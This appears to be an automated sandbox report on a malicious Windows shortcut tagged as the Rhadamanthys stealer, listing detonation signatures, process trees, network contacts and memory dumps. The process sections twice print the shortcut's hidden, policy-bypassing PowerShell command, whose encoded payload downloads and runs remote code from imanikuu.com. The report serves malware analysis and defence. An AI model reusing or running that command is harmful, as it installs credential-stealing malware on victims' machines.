Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-kww2aagd68
Target DOC527 - 527527.lnk.lnk
SHA256 b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8

Threat Level: Known bad

The file DOC527 - 527527.lnk.lnk was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 08:57

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 08:57

Reported

2024-04-05 09:02

Platform

win10v2004-20240226-en

Max time kernel

95s

Max time network

205s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2396 created 2652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 24.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp

Files

memory/2396-2-0x0000016FEBE70000-0x0000016FEBE92000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e4qavmnj.rga.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2396-12-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp

memory/2396-13-0x0000016FE9DF0000-0x0000016FE9E00000-memory.dmp

memory/2396-14-0x0000016FE9DF0000-0x0000016FE9E00000-memory.dmp

memory/2396-15-0x0000016FEC2E0000-0x0000016FEC33E000-memory.dmp

memory/2396-16-0x0000016FE9DE0000-0x0000016FE9DF0000-memory.dmp

memory/2396-17-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

memory/2396-18-0x0000016FE9DE0000-0x0000016FE9DF0000-memory.dmp

memory/2396-20-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

memory/2396-22-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

memory/2396-21-0x00007FFDD4990000-0x00007FFDD4B85000-memory.dmp

memory/2396-23-0x00007FFDD32A0000-0x00007FFDD335E000-memory.dmp

memory/2396-24-0x00007FFDD2410000-0x00007FFDD26D9000-memory.dmp

memory/4308-25-0x000001EA1E930000-0x000001EA1E939000-memory.dmp

memory/2396-29-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp

memory/4308-32-0x000001EA203B0000-0x000001EA207B0000-memory.dmp

memory/2396-31-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

memory/4308-34-0x000001EA203B0000-0x000001EA207B0000-memory.dmp

memory/4308-35-0x00007FFDD32A0000-0x00007FFDD335E000-memory.dmp

memory/4308-33-0x00007FFDD4990000-0x00007FFDD4B85000-memory.dmp

memory/4308-36-0x00007FFDD2410000-0x00007FFDD26D9000-memory.dmp

memory/4308-37-0x000001EA203B0000-0x000001EA207B0000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 08:57

Reported

2024-04-05 09:02

Platform

win7-20240319-en

Max time kernel

121s

Max time network

126s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2204 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2204 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2204 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2652-38-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

memory/2652-39-0x000000001B380000-0x000000001B662000-memory.dmp

memory/2652-40-0x0000000002410000-0x0000000002490000-memory.dmp

memory/2652-41-0x0000000002410000-0x0000000002490000-memory.dmp

memory/2652-42-0x0000000001F90000-0x0000000001F98000-memory.dmp

memory/2652-43-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

memory/2652-44-0x0000000002410000-0x0000000002490000-memory.dmp

memory/2652-45-0x0000000002410000-0x0000000002490000-memory.dmp

memory/2652-46-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp